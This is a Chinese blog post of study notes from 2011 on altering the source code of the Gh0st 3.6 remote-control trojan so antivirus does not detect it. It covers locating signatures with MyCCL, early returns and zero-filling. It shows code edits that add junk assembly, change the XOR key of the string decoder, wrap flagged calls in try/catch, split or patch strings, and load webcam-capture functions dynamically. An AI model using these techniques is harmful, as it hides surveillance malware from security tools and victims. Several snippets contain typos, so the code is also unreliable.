Visual C++ 源码免杀

http://www.bycat.org/post-3.html

咳咳．注意，只是免杀手记．学习过程中所学到的，都将会记录在此．持续更新……勿怪只是寥寥几条手记．谢谢……

　　持续更新中……每天看的资料，学习过程中学的东西，都会在下面记录下来，有一个分割线记录的．如果有朋友感兴趣，看看也不错．基础的东西，一些不懂Visual C++ 的朋友，了解一下基础，有Visual Baisc 6.0 之类的计算机编程语言基础，相信大家看得也会比较简单．全文字记录，没有图文说明．呵呵，给点难度自己，让自己也学得比较好一点．图文看得简单，思考的东西相信也少一点，给点全文字说明．自己想的东西也多一点，不要荒废了时间，不要荒废了你的一切．呵呵！加油吧．

　　欢迎爱好计算机技术的朋友一起交流．这里就留一下我个人的QQ给大家吧．

　　QQ：294562985

　　一般情况下，只要不是在忙的时候，可以联系我．如果没有回信息，那就等待等待吧．

---

 

2011年04月21日 　　记录　　类型：Visual C++ 源码免杀

内容：

　　源码定位特征码后所需修改的特征码大致有四种：指令 、字串 、启发特征 、函数 （输出表 ）．

　　初步确定特征码后可随意上汇编指令：__asm nop; 　花指令．可随意在代码段中添加，无所谓多少．只是多余的代码．也可以在源码中添加花指令．当然，具备一定的汇编基础．

　　特征码定位方法：工具定位 、代码定位 、手工定位

　　当然，在黑客学习基地里的Gh0st 源码课程资料中有记录．手工定位特征码！该讲师的新特征码定位方法，比较适用于Visual C++ 源码免杀中进行定位．

工具定位：

MyCCL 、MutiCCL ．两种工具进行定位．相信有一定认识免杀基础的朋友都懂如何利用MyCCL 、MutiCCL 进行定位，这里我也不需要去记那么点废话．

代码定位：

　　当初步确定特征码存在于某个代码段中．而无法得到准确的特征码时，我们可以进行代码定位．也就是构造意外代码进行定位．使得后面代码不存在，从而编译后进行查杀．若提示被杀，则说明该特征码在构造意外代码的上面！我们再向上构造意外代码进行定位．若提示不被杀，则说明特征码就在两次构造意外代码中间，然后缩小范围进行代码定位．从而得到最准确的特征码！

　　构造意外代码：return FALSH; 注意：如果返回值是空，就不能用return FALSH; 了．直接return; 就可以了．如果你有Visual C++ 基础的话．相信可以利用一些代码来进行代码定位．return 0; 也可以的．return NULL;

手工定位：

　　C32Asm 纯手工操作．比如从400 到文件结尾全部填充00 ．杀软提示不杀了，我们可以选择初步断定的特征码所在位置．但是对准确的位置来说，还不够．不能完全得到特征码的准确位置．我们可以像代码定位一样一段一段的去填充查杀定位．相对于特征码定位来说，该方法一般用在高启发的杀软上进行定位！

预备处理：

　　服务端的分离，相信应该都懂．讲服务端的生成文件目录修改一下，在同一个目录进行生成，方便管理和做免杀．

　　注意设置服务端的源码生成时勾上“产生MAP文件 ”！在特征码到源码查找，这里运行Ollydebug 时会用到MAP文件 ．

　　有关Gh0st 相关的特征．如Gh0st Up date 等相关的特征，不要让杀软一看就知道你这个就是远控，代码就直接告诉杀软．我就是远程控制！！

代码处理记录：

　　如果杀该函数：DeleteInstallFile 在Gh0st 3.6 中的svchost files 的dll 中的svchostsvchost.cpp 里面看到，是一个删除安装文件的函数．而InstallModule 是我们自定义的，我们可以随意改．改成相对应的即可．注意，要搜索所有InstallModule 该自定义后进行修改，一定要是相对应的！

　　如找到特征码时，断定该特征码便是该函数调用或者是什么什么的．这些凭个人去想．猫猫 不解释．呵呵！

　　以下段代码为例：

char* MyDecode(char *str)
{
　　int　　　i,len;
　　char　　 *data = Null;
　　len = base64_decode(str, &data); 　//base64编码．加密数据

　　for (i = 0; i < len; i++)
　　{
　　　　data[i] -= 0x86; 　//把数据自减86
　　　　data[i] ^= 0x19; 　//然后于19异或
　　}
　　return data;
}

　　我们来搜索“^= 0x19; ”注意，在搜索时，将文件目录范围调整在整体中查找．

　　加密解密都是相对应的．所以在改的过程中，都要改成一样的，相对应的！修改19 为XX 随便．只要相对应即可．

　　如果还是被查杀，便杀for 循环了．我们可以用异常来进行处理这个for 循环．我们可以看len 返回的是长度，我们可以用try catch 来进行处理．

　　修改如下：

char* MyDecode(char *str)
{
　　int　　　i,len;
　　char　　 *data = Null;
　　len = base64_decode(str, &data); 　//base64编码．加密数据

　　try
　　{
　　　　if ( len > 0 ) throw 12; 　//如果len大于0
　　}
　　catch (...)
　　{ 　　//把被杀的for循环放在里面．注意我所显示的^= 0x54;是修改过的．只要对应
　　　　for (i = 0; i < len; i++)
　　　　{
　　　　　　data[i] -= 0x86; 　//把数据自减86
　　　　　　data[i] ^= 0x54; 　//然后于19异或
　　　　}
　　}
　　return data;
}

　　如果杀这个函数呢？ReleaseMutex 这个函数．我们又该怎么办．整体：ReleaseMutex(hInstallMutex); 释放互斥的意思．同样，我们可以用try catch 来处理它！

　　原代码：ReleaseMutex(hInstallMutex);

　　修改如下：

　　try
　　{
　　　　if ( hInstallMutex != NULL ) throw 13;　//它不等于空．也就是说这个句柄是有效的
　　}
　　catch (...)
　　{
　　　　ReleaseMutex(hInstallMutex);　//把被杀的函数放到catch里面
　　}

　　如果还是被杀，就是来回的杀这个ReleaseMutex(hInstallMutex); 这个互斥．这是关于函数的查杀，我们如果还杀被杀的话．我们该怎么办呢？

　　唔．猫猫 在看资料的时候，在Gh0st 3.6 的代码中，该段函数是有三个．分别是：SetErrorMode(0); 、ReleaseMutex(hInstallMutex); 、CloseHandle(hInstallMutex); 这三个函数．那么我们将CloseHandle(hInstallMutex); 这个函数也放到catch 里面呢．试试就知道了，免杀了．那就说明这个特征码已经免杀成功！

　　修改代码如下：

　　SetErrorMode(0);

　　try
　　{
　　　　if ( hInstallMutex != NULL ) throw 13; 　//它不等于空．也就是说这个句柄是有效的
　　}
　　catch (...)
　　{
　　　　ReleaseMutex(hInstallMutex); 　//把被杀的函数放到catch里面

　　　　CloseHandle(hInstallMutex);　//将另一个函数也放到catch里面来看看
　　}

　　return -1;　//返回值与这个函数的成功与否有很大关系， 多数 默认成功返回则是0．

　　//这里return -1;代表不成功，如果运行到这里就是卸载了．返回-1;-2;都可以．随便

---

 

2011年04月22日 　　记录　　类型：Visual C++ 源码免杀

内容：

　　今天猫猫 说一次啊，在用MyCCL 进行定位特征码的时候应该有基础的朋友懂，为了巩固下记忆，方便初学者，就这里再写一次．定位开始位置：400 开始，建议选反向 ……填充处一般针对各杀软都有各的写法，这里我也不讲了．或许直接默认填充00 吧．一般情况下定位填充可以选择90 来填充．选择反向

　　将需要免杀的文件载入Ollydebug ，右键注意载入LoadMapEx ．即在源码中产生的MAP 文件！一般在Ollydebug 右键就能看到，但是有的会在插件栏里．各种版本都不一样，自行查看自己的Ollydebug 找到就好了．一般源码MAP 文件释放在Release 文件夹内．载入后我们Ctrl+A 然后选择免杀文件，如dll 文件选中后查找特征码．

　　一般如果看到“$ ”这个符号，一般在Ollydebug 中看到的“十六进制 ”栏下看到．这个符号是一个子程序的开始．具体不讨论，有Visual C++ 基础的朋友懂．我基础不是很好啊．呵呵！

　　好了，根据黑客学习基地的课程资料里来看，这个“$ ”符号在右边有注释“??0CAudio@@QAE@XZ ”我们初步可以断定该特征码就在Audio.cpp 中．

　　在Ollydebug 中看到，在左方“十六进制 ”栏下有一条黑线，类似大括号，而在特征码的位置里，我们可以看到也有一条黑线，说小括号吧．呵呵！初步断定，这特征码的特征是循环语句 ．

　　依照昨天我记录的手记，还是非常简单的处理下代码：__asm nop; 随便加．呵呵！

　　如果是杀字符“%s%s ”，那么我们在源码里查找．注意是根目录里全部源码查找！查找的同时注意查找格式是”%s\%s “而不是查找“%s%s ”有基础的朋友会懂的．这里猫猫 不解释！

　　如下段代码．这是格式化字串吧．

wsprintf(szPhoneBook2, "%s\%s", szPhoneBook2, "Microsoft\Network\Connections\pbk\rasphone.pdk");

　　我们该怎么去处理呢？我们可以用字符串的拼接 来处理！看处理后的代码．

wsprintf(szPhoneBook2, "%s\", szPhoneBook2); 　//格式化字串是两个东西

lstrcat(szPhoneBook2, "Microsoft\Network\Connections\pbk\rasphone.pbk");

　　//拆开，先格式化一个，然后再把后面的拼接上去．

　　其实我们针对这种字串处理 有很多种方法，有动态填充 ，拆分 等……

　　我们再看这一段字串代码 ．我们还是依照上面的拼接 处理！

wsprintf(strDirectory, "%s\%s", lpszDirectory, wfd.cFileName);

　　处理后代码．

wsprintf(strDirectory, "%s\", lpszDirectory);

lstrcat( strDirctory, wfd.cFileName );

　　如果我们看到杀软杀的是语音监控 之类的功能，我们最简单最有效的方法就是直接删了该功能！当然了，不是经常要用到的，重要的功能，我们可以删掉．或者你可以用动态调用 去处理！

　　KerneIManager.cpp 里面查找语音监控 的功能．如下段代码演示．

case COMMAND_AUDIO:

　　m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,

　　　　(LPVOID)m_pClient->m_Socket, 0, NULL);

　　break;

　　我们去掉该功能的方法直接给注释掉即可．如在case COMMAND_AUDIO; 上方加/* ．在break; 后面加*/ 即可．注释后我们在搜索查找中搜索Loop_AudioManager 找到另一处也是同样的方法，将一段代码都给注释掉即可．我们拉上最上方，同样把“#include "AudioManager.h" ”这个头文件 的包含也给注释掉即可．

　　如果杀比较常用的功能，我们就需要用到动态调用 了．这里直接拿视频监控来做演示改代码．

　　嗯，杀AVICAP32.dll 里面的两个函数．capGetDriverDescriptionA 与capCreateCaptureWindowA ．注意在搜索时去掉最后面的大写A 再进行搜索．

　　搜索完capGetDriverDescription 后，我们看到VideoCap.cpp 这里面的搜索结果．我们找到这个函数 的声明 ．看到如下段代码．

BOOL VFWAPI capGetDriverDescriptionA (UINT wDriverIndex,

　　　　LPSTR lpszName, int cbName,

　　　　LPSTR lpszVer, int cbVer);

　　我们先复制这段代码．找到Header Files 这个文件下拉看到unti.h 这个文件打开后（注意，该段代码处理是在Gh0st 3.6 中的dll 文件免杀处理演示）．WIN32 的API 统一是__stdcall ．

　　我们可以看到有一段代码，在这两句之间吧．嗯！这两句代码中间，看如下．

bool http_get(LPCTSTR szURL, LPCTSTR szFileName);

#endif　　//!defined(AFX_UNTIL_H_INCLUDED)

　　我们就插在中间修改．将复制的代码粘贴在该两句代码中间．代码修改如下．

bool http_get(LPCTSTR szURL, LPCTSTR szFileName);

　　//下面段代码则是插入中间的修改

typedef BOOL (__stdcall *pcapGetDriverDescriptionA) (UINT wDriverIndex, LPSTR lpszName, int cbName, LPSTR lpszVer, int cbVer);

　　//我们将代码写成一整句的．注意__stdcall处是统一WIN32的API．

#endif　　//!defined(AFX_UNTIL_H_INCLUDED)

　　好了，这样就修改完了，我们再回到VideoCap.cpp 这个文件内，也就是搜索过的．然后我们在上面写入一句代码．该段代码如下．

{

　　//已经连接了

　　if (m_bIsConnected)

　　　　return false;

　　bool　　bRet = false;

　　//下面一句代码则是调用新的函数，也就是pcapGetDriverDescriptionA这段

　　pcapGetDriverDescriptionA MyFun1 = (pcapGetDriverDescriptionA)GetProcAddress( LoadLibrary("avicap32.dll"), "capGetDriverDescriptionA" );

　　char　　lpszName[100], lpszVer[50];

　　for (int i = 0; i < 10 && !bRet; i++)

　　{ 　　//下面一句代码，在capGetDriverDescription处，复制MyFun1替换

　　　　bRet = capGetDriverDescription(i, lpszName, sizeof(lpszName),

　　//替换后的代码如：bRet = MyFun1(i, lpszName, sizeof(lpszName),

　　　　　　lpszVer,sizeof(lpszVer));

　　}

　　return bRet;

}

　　然后我们复制MyFun1 替换掉capGetDriverDescription 这个代码．如上段代码中的注释处有说明替换修改．然后我们接着复制调用新的函数 ，则是pcapGetDriverDescriptionA 这句代码，整句复制！然后我们在搜索显示栏 里有两个文件的，现在我们才修改完VideoCap.cpp 文件，我们复制后来到另一个搜索出的结果login.h 这个文件．

　　还是如上方的代码一样，只是代码有略微的不同！不要紧，相信改过VideoCap.cpp 文件代码的朋友应该知道在哪修改了，虽然有略微的不同．但是放的地方位置还是差不多的．在附近代码都基本一样！

　　好了，我们粘贴完复制的那句代码后，我们再来复制MyFun1 来粘贴替换掉capGetDriverDescription 就可以了．

　　注意，在VideoCap.cpp 文件中的顶部代码中别忘记添加包含的头文件．代码如下．

#include "videoCap.h"

#include "until.h" 　　//添加的代码．

　　然后我们再编译，少了一个函数，我们还需要处理另外一个函数．capCreateCaptureWindowA 搜索的方法相信大家知道该怎么搜索．去掉什么了吧，这里就不多说了．和上一个函数的处理方法是差不多的．

　　搜索的结果只有一个文件VideoCap.cpp 这个文件，我们去到声明 ，然后找到该函数声明 的代码，还是复制这段代码，如下．

HWND VFWAPI capCreateCaptureWindowA (

　　　　LPCSTR lpszWindowName,

　　　　DWORD dwStyle,

　　　　int x, int y, int nWidth, int nHeight,

　　　　HWND hwndParent, int nID);

　　还是unti.h 里面，在上面处理过的函数 下放粘贴该段代码，相信大家知道怎么该的．再粘贴出代码来给大家看，代码如下．

typedef HWND (__sdtcall *pcapCreateCaptureWindowA)( LPCSTR lpszWindowName, DWORD dwStyle, int x, int y, int nWidth, int nHeight, HWND hwndParent, int nID);

　　好了，代码修改完了．pcapCreateCaptureWindowA 这个也就是新的数据类型 了． 然后我们回到刚搜索的文件结果VideoCap.cpp 里面．我们在下面这句代码下方修改，代码如下．

m_hWnd = CreateWindow("#32770", /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);

　　//在这句代码下放开始插入新的代码，新的数据类型．

pcapCreateCaptureWindowA MyFun2 = (pcapCreateCaptureWindowA)GetProcAddress(LoadLibrary("avicap32.dll"), "pcapCreateCaptureWindowA" );

m_hWndCap = capCreateCaptureWindow

　　//然后把上一句代码中的capCreateCaptureWindow改成MyFun2，是m_hWndCap处改

　　然后我们可以编译了，由于上面一个函数处理 时，已经将包含的文件头 代码添加了，所以不需要再改了．直接编译就可以了．这个时候PE 里面就没有AVICAP32.dll 这个文件了．

---

 

2011年04月23日 　　记录　　类型：Visual C++ 源码免杀

内容：

　　免杀中还可以插入汇编指令，不一定是__asm nop; ．也可以是其他的．如下两句代码也可以起到作用．

__asm pushad;

__asm popad;

　　相信大家都看过上面的手记了，那么拼接法应该大家都会了吧．好了，我写一段代码，然后再写修改的代码．代码如下．

　　int　　　nCout = 0;

　　char　　 *lpPhoneBook[2];

　　char　　 szPhoneBook1[MAX_PATH+1], szPhoneBook2[MAX_PATH+1];

　　GetWindowsDirectory(szPhoneBook1, sizeof(szPhoneBook1));

　　lstrcpy(strchr(szPhoneBook1, "\") + 1, "Documents and Settings\");

　　lstrcat(szPhoneBook1,m_lpCurrentUser);

　　lstrcat(szPhoneBook1,"\Application Data\Microsoft\Network\Connections\pbk\rasphone.pbk");

　　特征码就杀最后一句代码．你会怎么办？拼接法 ？会么．很简单．看代码．

lstrcat(szPhoneBook1,"\A");

lstrcat(szPhoneBook1,"pplication Data\Microsoft\Network\Connections\pbk\rasphone.pbk");

　　如果还有一样的代码，那么就同样拼接修改就好了．

　　我们继续看代码．是属于解编器系列的．我们如何改．

　　//从这几种解编器中选一种．

　　DWORD　　fccHandlerArray[] =

　　{

　　　　859189837,　//Microsoft H.263 Video Codec

　　　　842225225,　//Intel Indeo(R) Video R3.2

　　　　842289229,　//Microsoft MPEG-4 Video Codec V2

　　　　1684633187　//Cinepak Codec by Radius

　　};

　　这样的我们怎么改？看注释，有“选一种 ”，这说明是选择下面的其中一种．这个顺序不是必须一定要按顺序的．我们可以扰乱顺序 ，杀的特征码是最后一个，我们就把后面调到前面就好了．看代码．

　　//从这几种解编器中选一种．

　　DWORD　　fccHandlerArray[] =

　　{

　　　　859189837,　//Microsoft H.263 Video Codec

　　　　842225225, 　//Intel Indeo(R) Video R3.2

　　　　1684633187, 　//Cinepak Codec by Radius

　　　　842289229 　//Microsoft MPEG-4 Video Codec V2

　　};

　　注意换代码时的符号不要写错 了．

　　当特征码定位到这句代码的时候怎么办，代码如下．

wsprintf(servicename, "netsvcs_0x%d",i);

　　好了，我们可以理解一下代码先．代码的意思是说当这个服务没有的时候，就会新建一个服务到netsvcs组里面． 这个netsvcs_ 名字是无所谓 的，可以随便改．随意改．我也不做代码修改后的演示了．

　　好了，这是另一个字符的特征码．代码如下．

char *ptr, *pSvchost = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost";

　　这个地方我们要怎么改？直接看修改后的代码．

char *ptr, *pSvchost = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost";

pSvchost [0] = 'S'; 　//将pSvchost索引地址0改为S也就是第一个改回S

　　代码解释，我们把S 改成n 或者是其他的．然后把pSvchost 的索引地址 为0也就是第一个 ．改为S ，也就是将n 改回S ！

　　注意，在搜索这个特征码的时候，可能会有两处甚至是多处，注意代码．要改成同样的．在搜索栏下方有显示．注意n 可以随意．只要最后索引结果改回S 就可以了．

　　遇到该句代码为特征码又该如何改呢．代码如下．

throw "RegQueryValueEx(Svchost\netsvcs)";

　　注意．搜索throw 后所显示的或许有好几个，我们主要找的是上面的代码就是了．在throw 后的代码．我们直接把RegQueryValueEx(Svchost\netsvcs) 给删掉就可以了．注意是搜索出来的好几个throw 代码段中的一部分给删掉．

　　或许有的throw 代码中双引号里面的代码不一样 ，没关系．还是直接删掉双引号内的代码 就可以了．

　　再看一处特征码．代码如下．

char *bin = "%SystemRoot%\System32\svchost.exe -k netsvcs";

　　这句我们又该如何处理？还是修正法 ．也是字符处理 中的一中．代码如下．

char *bin = "2SystemRoot%\System32\svchost.exe -k netsvcs";

bin[0] = "%" 　//将bin索引地址0中的2修正为%．

　　好了，代码解释我不多说．像上面那个索引地址修改一样． 

---

 

2011年07月09日　　记录　　类型：Visual C++ 源码免杀

内容：

　　C32中，第一段是文件头。第二段是代码。第三段往下看，是输入表。第四段是字符串。第五段是版权信息。第六段是

 

Visual C++代码免杀方法

 

 

 

一、文件特征码定位：

　　一般我们先用MyCCL把被查杀文件的文件特征码定位出来，然后用C32判断定位出来的这个特征码是代码还是字符串，或者是输入表、输出表、版权信息等…定位在不同的地方，就要用不同的方法来进行源码免杀。

如果特征码定位木马服务端的代码里，那么我们就把这个木马用OD载入，然后把特征码旁边（前面和后面）调用了的API函数记录下来，再到源码里搜索并找到源码特征码。或者用另外一种"Map定位法"，也就是在编译的时候生成一个map后缀的文件，然后把MyCCL定位出来的文件地址转换为内存地址，再到map文件里找到这个内存地址对应的行数。但这个方法比起刚才的方法来说麻烦了点，所以就不具体介绍了。

 

二、源码特征码修改：

　　把特征码前后调用了的API函数复制出来，然后到源码里搜索这个API函数，在它附近(一般加在前面)加花就可以了。或者你也可以修改代码，把原来的代码改成能达到同样目的的代码。如果你不想定位的话，那也可以随便给源码加花，也就是说不特意的去定位特征码，而是随便选一个地方加花。除非字符串或者输入表函数被杀，不定位加花的方法几乎可以不用定位特征码而达到免杀的目的。

 

三、示例：

Example.cpp，把这个文件编译出来，然后我们来看看改变代码后编译出来的文件有什么变化

 

从这个例子中我们可以学到以下几点：

1.交换代码位置

2.代码的合并和分离

3.根据MyCCL定位出来的特征码找出对应的源码特征码位置

4.代码加花指令

5.函数调用交换

 

 

源码花指令：

__asm

{

 nop

 nop

 nop

 nop

 nop

 nop

 nop

 nop

 nop

 nop

}